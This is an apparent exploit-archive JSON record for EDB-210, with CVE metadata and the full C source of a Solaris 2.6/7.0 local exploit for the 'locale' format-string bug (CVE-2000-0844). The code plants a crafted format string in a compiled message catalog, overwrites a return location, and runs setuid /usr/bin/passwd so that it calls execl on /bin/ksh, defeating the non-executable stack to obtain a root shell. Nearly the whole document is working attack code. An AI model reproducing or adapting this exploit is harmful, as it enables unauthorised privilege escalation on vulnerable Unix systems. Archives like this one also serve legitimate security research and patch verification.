{"exploit":{"id":"EDB-210","name":"Sun Solaris 2.6/7.0 - 'locale' Format Strings noexec Stack Overflow","description":"Sun Solaris 2.6/7.0 - 'locale' Format Strings noexec Stack Overflow","cves":["CVE-2000-0844"],"author":"warning3","published":"2000-11-30","platform":"solaris","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/210","path":"exploits/solaris/local/210.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-210.c","vulnerabilities":[{"id":"CVE-2000-0844","state":"PUBLISHED","title":null,"titleSource":null,"description":"Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute arbitrary commands via functions such as gettext and catopen.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0844","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0844"},"updatedAt":"2024-08-08T05:37:30.623Z","retrievedAt":"2026-11-26T11:58:43.502Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-210.png?v=2","url":"https://exploitbin.com/exploits/EDB-210","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-210/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-210/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * exploit for locale subsystem format strings bug In Solaris with noexec stack.\n * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g.\n * ./ex -o -4 )\n *\n * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\\([_0-9a-zA-Z]*\\)\\.so.*/-l\\1/'`\n * usages: ./ex -h\n *\n * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.\n * Thanks for horizon's great article about defeating noexec stack for Solaris.\n *\n * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN\n * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.\n *\n *     by warning3@nsfocus.com (http://www.nsfocus.com)\n *             y2k/11/10\n */\n\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/systeminfo.h>\n#include <fcntl.h>\n#include <dlfcn.h>\n\n#define BUFSIZE 2048\t\t\t/* the size of format string buffer\t*/\n#define BUFF    128\t\t\t/* the progname buffer size\t\t*/\n#define SHELL   \"/bin/ksh\"\t\t/* shell name\t\t\t\t*/\n#define DEFAULT_NUM 68\t\t\t/* format strings number\t\t*/\n#define DEFAULT_RETLOC 0xffbefb44\t/* default retloc address\t\t*/\n#define VULPROG  \"/usr/bin/passwd\"\t/* vulnerable program name\t\t*/\n\nvoid usages(char *progname)\n{\n  int i;\n  printf(\"Usage: %s \\n\", progname);\n  printf(\"    [-h]       Help menu\\n\");\n  printf(\"    [-n number]      format string's number\\n\");\n  printf(\"    [-a align]       retloc buffer alignment\\n\");\n  printf(\"    [-o offset]      retloc offset\\n\\n\");\n\n}\n\n/* get current stack point address to guess Return address */\nlong get_sp(void)\n{\n  __asm__(\"mov %sp,%i0\");\n}\n\nmain( int argc, char **argv )\n{\n  char *pattern, retlocbuf[BUFF], *env[11];\n  char plat[BUFF], *ptr;\n  long sh_addr, sp_addr, i;\n  long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;\n  long  *addrptr;\n  long reth, retl, reth1, retl1;\n  FILE *fp;\n\n\n  extern int optind, opterr;\n  extern char *optarg;\n  int opt;\n\n  void *handle;\n  long execl_addr, fp_addr, fp1_addr;\n  char fakeframe[512];\n  char padding[64], pad = 0;\n  int env_len, arg_len, len;\n\n  char progname[BUFF];\n  strncpy(progname, argv[0], BUFF-1);\n\n  while ((opt = getopt(argc, argv, \"n:a:o:h\")) != -1)\n    switch((char)opt)\n    {\n\n      case 'n':\n        num = atoi(optarg);\n        break;\n\n      case 'a':\n        align = atoi(optarg);\n        break;\n      case 'o':\n        offset = atoi(optarg);\n        break;\n      case '?':\n      case 'h':\n      default:\n        usages(progname);\n        exit(0);\n    }\n\n  retloc +=  offset;\n\n  /* get platform info  */\n  sysinfo(SI_PLATFORM,plat,256);\n\n  /* Construct fake frame in environ */\n\n  env[0] = \"NLSPATH=:.\";\n  env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */\n  /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */\n  env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00           */\n  env[3]=&(fakeframe[40]);/*         |0x00      */\n  env[4]=&(fakeframe[40]);/*        |0x00       */\n  env[5]=&(fakeframe[40]);/*             |0x00  */\n  env[6]=&(fakeframe[44]);/*            |fp2|fp2|fp2|fp2|fp2*/\n  env[7]=SHELL;     /* shell strings */\n  env[8]=NULL;\n\n  /* calculate the length of \"VULPROG\" + argv[1] */\n  arg_len = strlen(VULPROG) + strlen(\"-z\") + 2;\n\n  /* calculate the pad nummber .\n   * We manage to let the length of padding + arg_len + \"NLSPATH=.\" can\n   * be divided by 4. So fakeframe address is aligned with 4, otherwise\n   * the exploit won't work.\n   */\n  pad = 3 - (arg_len + strlen(env[0]) +1)%4;\n  memset(padding, 'A', pad);\n  padding[pad] = '\\0';\n\n  /* get environ length */\n  env_len = 0;\n  for(i = 0 ; i < 8 ; i++ )\n    env_len += strlen(env[i]) + 1;\n\n /* get the length from argv[0] to stack bottom\n  *\n  * +------------------------+-----------+--------+-----------+--------+\n  * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|\n  * +------------------------+-----------+--------+-----------+--------+\n  * ^               ^\n  * |__startaddr                |__sp_addr\n  *\n  * \"sp_addr\" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)\n  *\n  *  I find \"startaddr\" always can be divided by 4.\n  *  So we can adjust the padding's size to let the fakeframe address\n  *  can be aligned with 4.\n  *\n  * len = length of \"argv\" + \"env\" + \"platform\" + \"program name\"\n  * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4\n  * if (len%4)==0, sp_addr - startaddr =  len\n  * So we can get every entry's address precisely based on startaddr or sp_addr.\n  * Now we won't be bored with guessing the alignment and offset.:)\n  */\n  len = arg_len + env_len + strlen(plat) + 1\n  + strlen(VULPROG) + 1;\n  printf(\"len = %#x\\n\", len);\n\n  /* get stack bottom address */\n\n  sp_addr = (get_sp() | 0xffff) & 0xfffffffc;\n\n  /* fp1_addr must be valid stack address */\n  fp1_addr = (sp_addr & 0xfffffac0);\n\n  /* get shell string address */\n  sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */\n         - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;\n\n   printf(\"SHELL address = %#x\\n\", sh_addr);\n\n  /* get our fake frame address */\n  fp_addr = sh_addr - 8*8 - 1;\n\n  /* get execl() address */\n  if (!(handle=dlopen(NULL,RTLD_LAZY)))\n  {\n    fprintf(stderr,\"Can't dlopen myself.\\n\");\n    exit(1);\n  }\n  if ((execl_addr=(long)dlsym(handle,\"execl\"))==NULL)\n  {\n    fprintf(stderr,\"Can't find execl().\\n\");\n    exit(1);\n  }\n\n  /* dec 4 to skip the 'save' instructure */\n  execl_addr -= 4;\n\n  /* check if the exec addr includes zero  */\n  if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||\n    !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))\n  {\n    fprintf(stderr,\"the address of execl() contains a '0'. sorry.\\n\");\n    exit(1);\n  }\n\n  printf(\"Using execl() address : %#x\\n\",execl_addr);\n\n  /* now we set up our fake stack frame */\n\n  addrptr=(long *)fakeframe;\n\n  *addrptr++= 0x12345678; /* you can put any data in  local registers */\n  *addrptr++= 0x12345678;\n  *addrptr++= 0x12345678;\n  *addrptr++= 0x12345678;\n  *addrptr++= 0x12345678;\n  *addrptr++= 0x12345678;\n  *addrptr++= 0x12345678;\n  *addrptr++= 0x12345678;\n\n  *addrptr++=sh_addr;      /* points to our string to exec */\n  *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */\n  *addrptr++=0x0;    /* NULL for execl();  &fakeframe[40] */\n  *addrptr++=fp1_addr;     /* &fakeframe[44] */\n  *addrptr++=fp1_addr;\n  *addrptr++=fp1_addr;\n  *addrptr++=fp1_addr;     /* we need this address to work  */\n  *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */\n  *addrptr++=0x0;\n\n  /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */\n  retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);\n\n  printf(\"Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\\n\", retloc, fp_addr, align );\n\n  /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/\n\n  addrptr = (long *)retlocbuf;\n\n  for( i = 0 ; i < 8 ; i ++ )\n    *(addrptr + i) = 0x41414141;\n    *(addrptr + 1) = retloc - 4;\n    *(addrptr + 3) = retloc - 2;\n    *(addrptr + 5) = retloc ;\n    *(addrptr + 7) = retloc + 2;\n\n  if((pattern = (char *)malloc(BUFSIZE)) == NULL) {\n    printf(\"Can't get enough memory!\\n\");\n    exit(-1);\n  }\n\n  /* Let's make formats string buffer:\n   * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|\n   */\n  ptr = pattern;\n  memset(ptr, 'A', 32);\n  ptr += 32;\n\n  for(i = 0 ; i < num ; i++ ){\n    memcpy(ptr, \"%.8x\", 4);\n    ptr += 4;\n  }\n\n  reth = (fp_addr >> 16) & 0xffff ;\n  retl = (fp_addr >>  0) & 0xffff ;\n  reth1 = (execl_addr >> 16) & 0xffff ;\n  retl1 = (execl_addr >>  0) & 0xffff ;\n\n\n  /* Big endian arch */\n  sprintf(ptr, \"%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn\",\n         (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),\n         (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));\n\n  if( !(fp = fopen(\"messages.po\", \"w+\")))\n  {\n    perror(\"fopen\");\n    exit(1);\n  }\n  fprintf(fp,\"domain \\\"messages\\\"\\n\");\n  fprintf(fp,\"msgid  \\\"%%s: illegal option -- %%c\\\\n\\\"\\n\");\n  fprintf(fp,\"msgstr \\\"%s\\\\n\\\"\", pattern + align);\n  fclose(fp);\n  system(\"/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po\");\n\n  /* thanks for z33d's idea.\n   * It seems we have to do like this in Solaris 8.\n   */\n  i=open(\"./SUNW_OST_OSLIB\",O_RDWR);\n  /* locate the start position of formats strings in binary file*/\n  lseek(i, 62, SEEK_SET);\n  /* replace the start bytes with our retlocbuf */\n  write(i, retlocbuf + align, 32 - align);\n  close(i);\n\n  execle(VULPROG, VULPROG, \"-z\", NULL, env);\n}\n\n\n// milw0rm.com [2000-11-30]","sha256":"bb521f8d296bd32cc6619d49b31f058a9347a8b15bdd69d6d718e9a151bedf46","bytes":8399,"fetchedAt":"2026-11-26T12:08:06.650Z","encoding":"utf-8 (display only; download retains original bytes)"}